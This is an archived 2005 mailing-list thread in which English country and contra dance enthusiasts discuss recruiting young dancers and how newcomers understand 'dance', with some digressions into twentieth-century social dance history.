arranged for potlucks where whole groups of novices (who were timid to show up alone) could go to the dance together. If the band and caller participated, it further piqued their curiosity and (when the band gets up to leave, it creates a signal for everyone to think about getting over to the dance versus letting the potluck continue as its own social event so late in the evening nobody wants to dance...) 11) Got as many gigs as I could, at weddings, anniversaries, parties, etc... where few of the attendees had ever encountered social dance of this type. It helped to get to know local caterers, florists, etc... who could recommend Contra or ECD to people who asked about entertainment options. 12) Always emphasized the community aspect of social dance and how it is community-building and non-judgemental in terms of frequency of participation, skill of execution, or financial donations. This is just a brief list of the kinds of things I did to attract interest. I can't say it was greatly successful, but I can say that after a few years of this kind of effort a large proportion of both residents and students in Amherst had heard of or seen ECD, Contra, Morris, etc... even if they hadn't actually participated. For groups like the Outing Club, contra sort of became their in-club activity at all events so nearly everyone knew the basics, but this did not necessarily translate into attendance at regular local dances. My most effective recruitment period is when I was also a student participating; like when I signed up for the International Folkdancing class in the Rec department. That semester they made attendance at one of my local contradances a mandatory homework assignment. As I became consumed with middle age and family responsibilities, I let many of my efforts at recruitment lapse which was OK as long as the dances were a stable weekly occurrence (word of mouth still functioning as a robust recruitment device). However, any change (e.g., day of the week or location) met with a dramatic decline in numbers and not much recovery in the absence of the comprehensive recruitment effort I had used in years past. Although it is hard to translate awareness into regular attendance, the first step is always to make sure people in general know of the existence and even better, have some idea of what it's like. Getting people to actually ""love to dance"" is a more elusive goal, but I think we all agree that to do so one must get them onto the dance floor at least a couple times. Different people will catch the bug after different amounts of exposure and some will never really take to it, but if the dance has a ""community feel"" I believe it is more likely to generate that enthusiasm than if it has an ""elitist feel."" We compromise something (e.g., quality of dancing, quality of sound, sophistication of repertoire) in order to maintain that ""community feeling"" but that feeling is what keeps us robust and current with the general needs and desires of the local communities. And - as the readers on this list know - I personally think that there needs to be less compromising of those aspects in the effort to maintain a community feeling than most people would assume. I think there is a conception that attendance is falling off in recent years at dances in New England because the craze in social dance of these types (that blossomed around the time of the US bicentennial) has run its course. But as I look back at the history of HOW we got people to join the dancing community, it seems to me more likely that this is the reason behind the decline. Of course countless other variables (hall rental costs, insurance requirements, musician pay expectations, the existence of less-open dances like ""challenging contras"" etc...) have burdened the scene. But there was very little dancing in my part of the world until I began a tireless campaign to bring it to all ages and all people. In those days I hitch-hiked around and played fiddle tunes in the car to everyone who picked me up. In fact, I often hitch-hiked IN ORDER to play fiddle tunes to those who picked me up. I played on the street in Amherst (for nearly no donations because students are generally poor) and I taught dancing in nursery schools and senior centers and nursing homes to people who could hardly move or were in wheel chairs. It didn't matter that none of these were going to be coming to my local dances, but if they told their families what fun they had trying to get through a dance and listening to the folk music, those families might recognize my name or the word contradance on a flier and think - ""we ought to try that out."" Of course, this worked fine for as long as I was living in a tent on next to no income. Much of it had to fall by the wayside once I had a family and needed a regular job with health benefits etc... So I think the person who suggested that we not only need to coax teens to the dances but also to make them into recruiters themselves, was right on the money. They interact well with their peers and often can spare more time and energy to infiltrate the community and spread not only the word, but also the enthusiasm! One caution is that some people are naturally great at spiking interest and conveying enthusiasm while others seem to cause more harm than good. There are some people whom I wish were not on the front lines recruiting new faces. I'm not sure how you can judge which is which or try to control that. Probably there are plenty that say this about me and my efforts. Cheers, Cammy ================================================================================ Archive-Date: Tue, 13 Sep 2005 06:44:15 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <4326D7A1.8090201-AT-sbcglobal.net> Date: Tue, 13 Sep 2005 06:44:01 -0700 From: Jon Berger Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Emily L. Ferguson wrote: > Reaching this massive group of 12-50 year olds is one of our eternal > projects and speaking a language they understand to convey how to do > what we so love to do has to climb over a chasm of definition of > ""dance"" which seems to me to be quite enormous. One of my wife's co-workers went to a contra dance a couple of years ago; I'm damned if I remember why, but he did. This is someone with no prior exposure to folk dance whatsoever. I thought his reaction was interesting: ""I went there to DANCE, not to have some guy up at the front of the room telling me what to do."" Clearly, his definition of ""dance"" didn't include the whole concept of callers, and after he said that it occurred to me that that's probably pretty common. -- Jon Berger http://pages.sbcglobal.net/jberger ================================================================================ Archive-Date: Tue, 13 Sep 2005 06:57:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Tue, 13 Sep 2005 09:58:55 -0400 Subject: Re: [ECD] recruiting younger dancers Message-ID: <20050913.095858.-652817.1.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu Cammy, are you saying that you think the main reason for declining attendance is that we often haven't been working effectively at bringing in young people? And essentially, that good grass-roots publicity can make country dancing popular anytime? Hope you're right. Fae ================================================================================ Archive-Date: Tue, 13 Sep 2005 07:07:07 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Tue, 13 Sep 2005 10:07:31 -0400 Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning Message-ID: <20050913.100733.-652817.2.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu It's probably a brain thing, eh? Some people want to dance with a lot of improvisation -- usually ALL improvisation -- not with a fixed structure. I can't improvise my way out of a paper bag, so I'm grateful that someone tells me what to do, but I've often seen people react the way you describe. It's one of the basic barriers to getting people into country dancing. Fae Fuerst On Tue, 13 Sep 2005 06:44:01 -0700 Jon Berger writes: > > > Emily L. Ferguson wrote: > > > Reaching this massive group of 12-50 year olds is one of our > eternal > > projects and speaking a language they understand to convey how to > do > > what we so love to do has to climb over a chasm of definition of > > ""dance"" which seems to me to be quite enormous. > > One of my wife's co-workers went to a contra dance a couple of years > ago; > I'm damned if I remember why, but he did. This is someone with no > prior > exposure to folk dance whatsoever. I thought his reaction was > interesting: > ""I went there to DANCE, not to have some guy up at the front of the > room > telling me what to do."" Clearly, his definition of ""dance"" didn't > include > the whole concept of callers, and after he said that it occurred to > me that > that's probably pretty common. > > -- > Jon Berger > http://pages.sbcglobal.net/jberger > > > ================================================================================ Archive-Date: Tue, 13 Sep 2005 08:05:26 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <4326EAA6.8060405-AT-uiuc.edu> Date: Tue, 13 Sep 2005 10:05:10 -0500 From: Jonathan Sivier Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] recruiting younger dancers - (lengthy) References: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Campbell Kaynor wrote: > 4) Contacted faculty in the history department to offer my services for > educating students in social life of particular eras, A member of the U of I history department and his wife attend our local contra and English dances. When he teaches the U.S. history survey class (he does this about every other year) he has us come in and demonstrate a couple of early American dances. We then get some of the students to join us for a couple of simple dances. We did this last week and had over 30 kids dancing. We let them know about our local dances and handed out fliers. Hopefully a few of them will come and give it a try. I was thinking about other departments on campus that might be places to recruit new dancers. I usually put fliers up in the music and dance departments. However it occurred to me that one place to potentially recruit new English dancers is the English department. I did a search for U of I faculty who have presented papers at JASNA (the Jane Austen Society of North America) and came up with the name of a professor. I wrote to her and invited her to our dances and also suggested that we could potentially teach period dances to students in a class studying Jane Austens books, or any other similar author. She is on sabatical this semester, but gave me the name of several other professors who teach similar courses. I've contacted them and asked them to pass the word on to their students. So far I've only heard from one student who is interested, but that encourages me to think that it may pay off in the long run. Jonathan Central Illinois English Country Dancers ----- Jonathan Sivier Beckman Institute Flight Simulation Lab jsivier AT uiuc DOT edu Home Page: https://netfiles.uiuc.edu/jsivier/www/ ----- Q: How many angels can dance on the head of a pin? A: It depends on what dance you call. ================================================================================ Archive-Date: Tue, 13 Sep 2005 09:00:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913160017.73612.qmail-AT-web52607.mail.yahoo.com> Date: Tue, 13 Sep 2005 09:00:17 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Just what sort of dancing did he think he was going to do when the music started? I don't think that's a common attitude or definition at all. If anything, it's ...uh...'unique'. People who have never done any country line dancing, swing dancing or ballroom dancing would never come to one of those dances expecting to just 'dance' without instruction. Tom DE --- Jon Berger wrote: > > > Emily L. Ferguson wrote: > > > Reaching this massive group of 12-50 year olds is one of our > eternal > > projects and speaking a language they understand to convey how to > do > > what we so love to do has to climb over a chasm of definition of > > ""dance"" which seems to me to be quite enormous. > > One of my wife's co-workers went to a contra dance a couple of years > ago; > I'm damned if I remember why, but he did. This is someone with no > prior > exposure to folk dance whatsoever. I thought his reaction was > interesting: > ""I went there to DANCE, not to have some guy up at the front of the > room > telling me what to do."" Clearly, his definition of ""dance"" didn't > include > the whole concept of callers, and after he said that it occurred to > me that > that's probably pretty common. > > -- > Jon Berger > http://pages.sbcglobal.net/jberger > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Tue, 13 Sep 2005 10:34:49 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913173435.14618.qmail-AT-web52613.mail.yahoo.com> Date: Tue, 13 Sep 2005 10:34:34 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] recruiting younger dancers - (lengthy) To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Great stuff, Campbell. I've been trying to get a UofD student or two to learn to call so they can arrange & call their own dances. One thing I'll add: Some people are great are initiating activities and some people are great at running activities and some people are great at continuing activities. These are often three different groups of people and it's important for members of them to recognize themselves and turn over control to the proper group when the dance has evolved to the next state. Tom DE --- Campbell Kaynor wrote: > In re recruitment of teens-early 20s dancers, I had the fortune to > grow up > in a college town where I learned some of the tricks that work. Here > is a > list of some of the activities I did to get students to become > involved: > > 1) Played music during lunchtime at the health-food cafeteria on > University campus (with stack of fliers. They even gave me free lunch > for > playing!) > 2) Played street music in town at various locations as close to where > people would be waiting for the bus back to campus as I could, > 3) Solicited invitations to lead dancing at social get-togethers of > the > Outing Club, the off-campus commuters org, dorm parties, > get-to-know-each-other beginning of the school year parties and > freshman > events, > 4) Contacted faculty in the history department to offer my services > for > educating students in social life of particular eras, > 5) Contacted the Scandinavian studies faculty for playing Swedish > music > 6) Stayed in touch with the recreation department that offered a > class in > international folkdance to make sure that they informed interested > students about area dances in ECD and contra (and was often invited > to > lead one of their classes), > 7) Taught dancing and fiddling through the Continuing Education > programs > at the University > 8) Included campus stands on local Morris tours and postered bulletin > boards with notices about May Day activities etc... > 9) Talked about it and got other eager dancers to talk about it at > every > opportunity - I think word of mouth is THE MOST effective method > 10) Encouraged or arranged for potlucks where whole groups of novices > (who > were timid to show up alone) could go to the dance together. If the > band > and caller participated, it further piqued their curiosity and (when > the > band gets up to leave, it creates a signal for everyone to think > about > getting over to the dance versus letting the potluck continue as its > own > social event so late in the evening nobody wants to dance...) > 11) Got as many gigs as I could, at weddings, anniversaries, parties, > etc... where few of the attendees had ever encountered social dance > of > this type. It helped to get to know local caterers, florists, etc... > who > could recommend Contra or ECD to people who asked about entertainment > options. > 12) Always emphasized the community aspect of social dance and how it > is > community-building and non-judgemental in terms of frequency of > participation, skill of execution, or financial donations. > > This is just a brief list of the kinds of things I did to attract > interest. I can't say it was greatly successful, but I can say that > after > a few years of this kind of effort a large proportion of both > residents > and students in Amherst had heard of or seen ECD, Contra, Morris, > etc... > even if they hadn't actually participated. For groups like the Outing > Club, contra sort of became their in-club activity at all events so > nearly > everyone knew the basics, but this did not necessarily translate into > attendance at regular local dances. My most effective recruitment > period > is when I was also a student participating; like when I signed up for > the > International Folkdancing class in the Rec department. That semester > they > made attendance at one of my local contradances a mandatory homework > assignment. As I became consumed with middle age and family > responsibilities, I let many of my efforts at recruitment lapse which > was > OK as long as the dances were a stable weekly occurrence (word of > mouth > still functioning as a robust recruitment device). However, any > change > (e.g., day of the week or location) met with a dramatic decline in > numbers > and not much recovery in the absence of the comprehensive recruitment > effort I had used in years past. > > Although it is hard to translate awareness into regular attendance, > the > first step is always to make sure people in general know of the > existence > and even better, have some idea of what it's like. Getting people to > actually ""love to dance"" is a more elusive goal, but I think we all > agree > that to do so one must get them onto the dance floor at least a > couple > times. Different people will catch the bug after different amounts of > exposure and some will never really take to it, but if the dance has > a > ""community feel"" I believe it is more likely to generate that > enthusiasm > than if it has an ""elitist feel."" We compromise something (e.g., > quality > of dancing, quality of sound, sophistication of repertoire) in order > to > maintain that ""community feeling"" but that feeling is what keeps us > robust > and current with the general needs and desires of the local > communities. > And - as the readers on this list know - I personally think that > there > needs to be less compromising of those aspects in the effort to > maintain a > community feeling than most people would assume. > > I think there is a conception that attendance is falling off in > recent > years at dances in New England because the craze in social dance of > these > types (that blossomed around the time of the US bicentennial) has run > its > course. But as I look back at the history of HOW we got people to > join the > dancing community, it seems to me more likely that this is the reason > behind the decline. > Of course countless other variables (hall rental costs, insurance > requirements, musician pay expectations, the existence of less-open > dances > like ""challenging contras"" etc...) have burdened the scene. But there > was > very little dancing in my part of the world until I began a tireless > campaign to bring it to all ages and all people. In those days I > hitch-hiked around and played fiddle tunes in the car to everyone who > picked me up. In fact, I often hitch-hiked IN ORDER to play fiddle > tunes > to those who picked me up. I played on the street in Amherst (for > nearly > no donations because students are generally poor) and I taught > dancing in > nursery schools and senior centers and nursing homes to people who > could > hardly move or were in wheel chairs. It didn't matter that none of > these > were going to be coming to my local dances, but if they told their > families what fun they had trying to get through a dance and > listening to > the folk music, those families might recognize my name or the word > contradance on a flier and think - ""we ought to try that out."" > > Of course, this worked fine for as long as I was living in a tent on > next > to no income. Much of it had to fall by the wayside once I had a > family > and needed a regular job with health benefits etc... > So I think the person who suggested that we not only need to coax > teens to > the dances but also to make them into recruiters themselves, was > right on > the money. They interact well with their peers and often can spare > more > time and energy to infiltrate the community and spread not only the > word, > but also the enthusiasm! > > One caution is that some people are naturally great at spiking > interest > and conveying enthusiasm while others seem to cause more harm than > good. > There are some people whom I wish were not on the front lines > recruiting > new faces. I'm not sure how you can judge which is which or try to > control > that. Probably there are plenty that say this about me and my > efforts. > Cheers, Cammy > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Tue, 13 Sep 2005 12:26:10 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913192557.41768.qmail-AT-web32412.mail.mud.yahoo.com> Date: Tue, 13 Sep 2005 12:25:57 -0700 (PDT) From: Graham Christian Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] WAS English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I'm afraid that, post-1965, a very great number of people expect exactly this. That is, to them, ""dance"" means: hop up and down, flail your arms, and roll your head. Under a glitter ball, these movements make you look exactly like John Travolta in *Saturday Night Fever*. Really. It never fails. > People who have never done any country line dancing, swing dancing or > ballroom dancing would never come to one of those dances expecting to > just 'dance' without instruction. > > One of my wife's co-workers went to a contra dance a couple of years > > ago; I'm damned if I remember why, but he did. This is someone with no > > prior exposure to folk dance whatsoever. I thought his reaction was > > interesting: ""I went there to DANCE, not to have some guy up at the front of the > > room telling me what to do."" Clearly, his definition of ""dance"" didn't > > include the whole concept of callers, and after he said that it occurred to > > me that that's probably pretty common. Graham ""Sphinx of black quartz, judge my vow."" ================================================================================ Archive-Date: Tue, 13 Sep 2005 12:30:17 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <20050913192557.41768.qmail-AT-web32412.mail.mud.yahoo.com> Date: Tue, 13 Sep 2005 15:30:02 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 12:25 PM -0700 9/13/05, Graham Christian wrote: >I'm afraid that, post-1965, a very great number of people expect >exactly this. That is, to them, >""dance"" means: hop up and down, flail your arms, and roll your head. >Under a glitter ball, these >movements make you look exactly like John Travolta in *Saturday >Night Fever*. Really. It never >fails. My point exactly. -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Tue, 13 Sep 2005 12:50:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913195030.8366.qmail-AT-web52609.mail.yahoo.com> Date: Tue, 13 Sep 2005 12:50:30 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Oh. So those sock-hops in the '50s, USO dances during WW2 and the dances done by flappers at speak-easies in the '20s were carefully choreographed group efforts. What crap! Do you have any idea of how much work Travolta went through to learn all the intricate moves he performed in SNF? How about Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? Nearly every music video made in the past 20 years? Regardless of the venue or style, people that show talent on the dancefloor earn the respect of their peers. Those who look like klutzes are laughed at. Just like it's been for 400+ years. Tom DE --- Graham Christian wrote: > I'm afraid that, post-1965, a very great number of people expect > exactly this. That is, to them, > ""dance"" means: hop up and down, flail your arms, and roll your head. > Under a glitter ball, these > movements make you look exactly like John Travolta in *Saturday Night > Fever*. Really. It never > fails. -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Tue, 13 Sep 2005 13:02:50 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 16:02:32 -0400 From: susan-AT-generalist.org Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] OT: 20thc dancing, WAS Re: English Dialect Website - thoughts on styles of learning Message-ID: <20050913200232.GA10332-AT-g3.lse.org> References: <20050913195030.8366.qmail-AT-web52609.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Vastly and cheerfully off-topic... On Tue, Sep 13, 2005 at 12:50:30PM -0700, Tom Vincent wrote: > Do you have any idea of how much work Travolta went through > to learn all the intricate moves he performed in SNF? No, but if anyone wants to have a go at it without the utter tedium of trying to watch the film second-by-second to reconstruct the choreographies, I have a book of disco dances from 1978 that describes a ""Night Fever"" line dance. I haven't checked to see if it's exactly the same as in the film but it does have that characteristic move with the arm pointed up. Susan (all-around dance historian) ================================================================================ Archive-Date: Tue, 13 Sep 2005 13:20:46 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 16:20:30 -0400 From: Ruth Scodel Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Re: recruiting young dancers Message-ID: <0F5D3557B285FC04031978EB-AT-astr-ah5180a-018.dhcp.lsa.umich.edu> References: <01LSY1HPYHDA9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit It is all too easy to slip into being contemptuous about music and dance we don't like, but it won't help us recruit people. Every year I teach a class on Playford to high school students on a special visiting day at the University of Michigan. We discuss the preface and do a couple of dances. In this setting, it actually helps that it is very hard for them: it keeps them from concentrating on its possible dorkiness. It also helps that the music is on cd, because there is no excuse to go slowly, and choose brisk dances. When they get through Sellenger's, they are very pleased with themselves. I don't know if any of these kids will ever do ecd again, but I remember one of them who said as he left, ""Man, those people in the 17th century could really move!"" ================================================================================ Archive-Date: Tue, 13 Sep 2005 13:36:02 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913203547.20142.qmail-AT-web52609.mail.yahoo.com> Date: Tue, 13 Sep 2005 13:35:47 -0700 (PDT) From: Tom Vincent Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Re: recruiting young dancers To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit I don't think it's easy at all: I believe you have to actively *work* at hatred and bigotry, regardless of whether it's toward other people or other music. I'm glad you mention Sellenger's Round: I've used it as an introductory dance many times (at schools and even at Unitarian Solstice celebrations) and it always ends with everyone happy, chattering away with a smile of their faces. Hard to think of a better gift to give people at their first ECD experience. Tom DE --- Ruth Scodel wrote: > It is all too easy to slip into being contemptuous about music and > dance we > don't like, but it won't help us recruit people. Every year I teach > a > class on Playford to high school students on a special visiting day > at the > University of Michigan. We discuss the preface and do a couple of > dances. > In this setting, it actually helps that it is very hard for them: it > keeps > them from concentrating on its possible dorkiness. It also helps > that the > music is on cd, because there is no excuse to go slowly, and choose > brisk > dances. When they get through Sellenger's, they are very pleased > with > themselves. I don't know if any of these kids will ever do ecd > again, but > I remember one of them who said as he left, ""Man, those people in the > 17th > century could really move!"" > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ================================================================================ Archive-Date: Tue, 13 Sep 2005 14:01:23 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050913210111.14331.qmail-AT-web32408.mail.mud.yahoo.com> Date: Tue, 13 Sep 2005 14:01:10 -0700 (PDT) From: Graham Christian Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Whoa, hold up. I never for a moment suggested that Travolta or Gray or anyone else was not dancing with consummate skill; or for that matter that the Charleston or swing or anything else were formless OR easy. Please do not attribute to me contempt for anyone else's dance style or tradition. I was for one dumbstruck with admiration for Travolta the last time I saw *SNF* (and yes, Susan, I fast-forwarded through the ""plot"" to get to the dance). I hope my remark suggested that there is some DISTANCE between the ""leave-me-alone-and-let-me-move-freely"" dancer and Travolta's genuine skill. What puzzles me--and the point of my jest, and yes, it *was* a jest--is how or where some get the notion that if they simply jump up and down that they are a) dancing and b) dancing really well. Perhaps some have always felt, no matter the form, that dance is really easy and requires neither practice nor observation nor training, with predictable results. I'm just grateful that this personality type doesn't usually seem to be drawn to, say, bridge construction or eye surgery (*also* a jest; I have the greatest respect for surgeons, engineers, bridges, and eyes). --- Tom Vincent wrote: > Oh. So those sock-hops in the '50s, USO dances during WW2 and the > dances done by flappers at speak-easies in the '20s were carefully > choreographed group efforts. > > What crap! Do you have any idea of how much work Travolta went through > to learn all the intricate moves he performed in SNF? How about > Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and > Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? > Nearly every music video made in the past 20 years? > > Regardless of the venue or style, people that show talent on the > dancefloor earn the respect of their peers. Those who look like > klutzes are laughed at. Just like it's been for 400+ years. > > Tom > DE > > --- Graham Christian wrote: > > > I'm afraid that, post-1965, a very great number of people expect > > exactly this. That is, to them, > > ""dance"" means: hop up and down, flail your arms, and roll your head. > > Under a glitter ball, these > > movements make you look exactly like John Travolta in *Saturday Night > > Fever*. Really. It never > > fails. > > > -*-*-*-*-*-*-*-*-* > Tom Vincent > > -*-*-*-*-*-*-*-*-* > > """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the > savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and > understanding for our attackers."" > > - Karl Rove, Fascist Idiot, June 22 2005 > Graham ""Sphinx of black quartz, judge my vow."" ================================================================================ Archive-Date: Tue, 13 Sep 2005 14:31:04 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Tue, 13 Sep 2005 13:54:57 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning To: Graham Christian CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LSZI1R5HSM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Graham wrote: >I'm afraid that, post-1965, a very great number of people expect exactly this. >That is, to them, ""dance"" means: hop up and down, flail your arms, and roll >your head. Under a glitter ball, these movements make you look exactly like >John Travolta in *Saturday Night Fever*. Really. It never fails. Well, yes and no. Your general point is probably correct: Once popular music moved away from the formal couple dance form - once the 30-year reign of the foxtrot was over - and kids stopped automatically getting dance lessons in school, social dance became ""unstructured"" and ""improvisatory"". (Scare quotes around those words because of my feeling in a lot of cases that things that are formally unstructured and improvisatory have structure and rules that may or may not have been articulated but which you can get in trouble for breaking.) If the idea is just that you get out on the floor and do _something_, with the lights on and everybody watching, then you only dance if you're not worried about looking like an idiot. That tends to weed out the shy and contribute to dance not being something everybody does, even though there's no longer any formal barrier to entry like taking dance lessons. (I think the active as distinct from reconstructed social dance movement forked in the 1970s, into disco (""touch dancing"", with songs with melodies and formal structures, specific dance styles (""Hustle""), and people woodshedding choreographies at home and coming back to show them off) on the one hand, and various kinds of free form unpartnered wackiness (""noodle dance"" at Dead concerts, thrashing and moshing at metal and punk shows, dancing that worked with sudden improvised guitar and drum solos that wandered away from obvious structure) on the other hand. The very weird period of the 60s where you were supposed to dress up and ask a partner to dance and then ""improvise"" some non-touch dancing (which improvisation might consist of choosing from an internal menu of often-mimetic moves - the Mashed Potato, the Swim, the Pony, etc, has not continued.) [Somewhere around here I have a Swinging-London era booklet of ""Discotheque Dances"", blessed by the Imperial Society of Teachers of Dance, illustrated with photos of well-dressed people obviously wearing cologne and hairspray doing, eg, the Monkey, and with the moves described in extremely stuffy language. They're not actually saying ""glissade"", but the cognitive dissonance induced by this booklet makes it worth a look.] But to address Graham's snarkiness, yes, people (guys especially) think they're supposed to dance like that now because if there's dancing at shows, that's the kind of dancing there is. They may not actually think they look like John Travolta; they just think that's what dancing *means*. (And in their environs, it *does*; not just that they haven't learned any different, but also that the kind of music they're choosing to be used to - which is, pace Emily, not the only kind of popular music there is - is optimized for promoting that kind of dance, that expresses the beat and doesn't take a lot of thought or work. Meantime, over in the country music world, there's lots of people in their 20s-50s two-stepping, slow-dancing, waltzing, jiving, and doing the Cotton-Eyed Joe, to music that supports that kind of thing. The reason I say ""yes and no"", above, is that your diagnosis of why they don't want somebody telling them what to do isn't the only reason. I am acquainted with a guy who has won a Charleston contest competing against members of a display team. He's a superb Victorian and ragtime dancer, waltzes beautifully, does one-step and two-step with tremendous style, nicely display the difference between 'teens foxtrot and '30s foxtrot. He performs Victorian songs in music hall and has appeared in revivals of 20s and 30s musicals; has an extensive collection of glass-disk records, and has both a wind-up portable gramophone and a big console gramophone at home, which he listens to when he's not playing pre-1940 music on the piano or experimenting with recipes from pre-1950 promotional cookbooks. (I do not, I assure you, exaggerate about any of this.) Even though, as a historical enthusiast, he likes the idea of ECD, he is completely uninterested in having anybody tell him how to express the music. He's the lead; it should be up to him. Execute a set pattern? Pfui! (No, he doesn't quote Nero Wolfe there, but that's approximately the position.) (Now, he was perfectly willing to take classes to learn how to do each of the couple-dance genres he was interested in doing, and to work hard to learn a choreography he was going to perform, but the idea of having somebody telling him what to do on every dance is repugnant to him. It doesn't help that his first exposure to that sort of thing was a famously windy teacher who will interupt his 45-minute teaching of ""Hole in the Wall"" with a 20 minute ""how to walk"" lesson. I do not exaggerate about this either.) > > People who have never done any country line dancing, swing dancing or > > ballroom dancing would never come to one of those dances expecting to > > just 'dance' without instruction. I'm not sure that's necessarily true. It really depends on how the expectations are set. And just as there are some people who can pick up any instrument and figure out how to play it, without instruction, well enough to get a recognizable tune in a few minutes, there are some people who are visual/tactile enough, and fearless enough, to watch a dance form and start doing it, without lessons. (And if your idea of couple dancing comes from watching musical comedies, you may not think through the whole idea of needing lessons, even if you do.) -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL 